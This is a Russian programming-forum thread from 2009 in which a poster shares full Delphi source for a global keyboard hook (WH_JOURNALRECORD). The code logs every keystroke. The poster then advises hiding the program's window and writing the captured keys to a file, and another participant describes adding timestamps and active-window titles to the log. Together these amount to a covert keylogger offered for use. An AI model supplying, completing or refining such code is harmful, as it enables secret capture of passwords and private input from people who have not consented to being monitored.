Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Win Api
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 29.09.2009, 09:34   #11
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Вот есть пример легкий хука без ДЛЛ:
Код:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var         h:hhook;
  Form1: TForm1;

implementation

{$R *.dfm}

    function Proc(

    code:integer;
    wParam:WPARAM;
    lParam:LPARAM
   ):lresult;stdcall;
var c:array[0..255] of char;
 s:string;f:file of char;
    nScan:integer;
begin
 if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin
  nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
  nscan:=nscan shl 16;
  GetKeyNameText(nScan,c,256);
  Form1.Memo1.Lines.Text:=Form1.Memo1.Lines.Text+c[0];
 end;
 result:=callnexthookex(h,code,wparam,lparam);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);
end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
unhookwindowshookex(h);
end;

end.
Просто пропиши
Application.ShowMainForm:=false; и сделай сохранение в файл.

И нечего флудить.
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 29.09.2009, 15:46   #12
betirsolt
Форумчанин
 
Регистрация: 20.07.2009
Сообщений: 421
По умолчанию

Form1.Memo1.Lines.Text:=Form1.Memo1 .Lines.Text+c[0];
end.

вот это что значит???он что в мемо должен записывать все нажатые клавиши????
если не трудно объясните подробнее пожалуйста
Уважаемые модераторы, Я всячески стараюсь не нарушать правила сайта, будьте снисходительны
betirsolt вне форума Ответить с цитированием
Старый 29.09.2009, 16:04   #13
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Цитата:
он что в мемо должен записывать все нажатые клавиши????
Совершенно верно. Замени это на запись в файл иле чего там нужно.
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 29.09.2009, 16:16   #14
Вавел из ГМТУ
Форумчанин
 
Регистрация: 19.06.2009
Сообщений: 896
По умолчанию

Я брал за основу тему:
http://programmersforum.ru/showthrea...ight=keylogger

В итоге улучшил код добавив: более читабельный лог, временые метки, заголовок окна где осуществляется ввод.
И оформил это отдельным модулем.

Такчто советую.
Вавел из ГМТУ вне форума Ответить с цитированием
Старый 29.09.2009, 16:18   #15
betirsolt
Форумчанин
 
Регистрация: 20.07.2009
Сообщений: 421
По умолчанию

Цитата:
Сообщение от Stilet Посмотреть сообщение
Совершенно верно. Замени это на запись в файл иле чего там нужно.
но он не сохраняет даже в мемо.. ты уверен что таким образом можно установить глобальный хук???
Уважаемые модераторы, Я всячески стараюсь не нарушать правила сайта, будьте снисходительны
betirsolt вне форума Ответить с цитированием
Старый 29.09.2009, 16:30   #16
Вавел из ГМТУ
Форумчанин
 
Регистрация: 19.06.2009
Сообщений: 896
По умолчанию

Что значит не сохраняет?
Вавел из ГМТУ вне форума Ответить с цитированием
Старый 29.09.2009, 16:40   #17
betirsolt
Форумчанин
 
Регистрация: 20.07.2009
Сообщений: 421
По умолчанию

Цитата:
Сообщение от Вавел из ГМТУ Посмотреть сообщение
Что значит не сохраняет?
ну в смысле в мемо не записывает все что я на клаве набираю
Уважаемые модераторы, Я всячески стараюсь не нарушать правила сайта, будьте снисходительны
betirsolt вне форума Ответить с цитированием
Старый 29.09.2009, 16:43   #18
Вавел из ГМТУ
Форумчанин
 
Регистрация: 19.06.2009
Сообщений: 896
По умолчанию

Например?

Stilet немного "урезал" свой первоначальный код. См. ссылку.
Вавел из ГМТУ вне форума Ответить с цитированием
Старый 29.09.2009, 16:52   #19
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Цитата:
См. ссылку.
у-у-у я и забыл что уже выкладывал его...
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 29.09.2009, 17:22   #20
betirsolt
Форумчанин
 
Регистрация: 20.07.2009
Сообщений: 421
По умолчанию

Цитата:
Сообщение от Вавел из ГМТУ Посмотреть сообщение
Например?

Stilet немного "урезал" свой первоначальный код. См. ссылку.
я оттуда весь код скопировал но он ни в мемо ни в форм кэпшн ниче не пишет...это весь код???мне ниче не надо добавить или что то еще???я просто создаю новый проект и копирую все это в юнит
Уважаемые модераторы, Я всячески стараюсь не нарушать правила сайта, будьте снисходительны
betirsolt вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
:::Keylogger::: doniyor Общие вопросы Delphi 15 02.03.2012 19:56
keylogger DeDoK Общие вопросы Delphi 15 06.06.2010 00:15
Keylogger, проблемы andreibtzt Win Api 9 05.06.2010 17:51
обновление в блоге - Клавиатурный шпион. Pblog Обсуждение статей 0 27.05.2007 03:17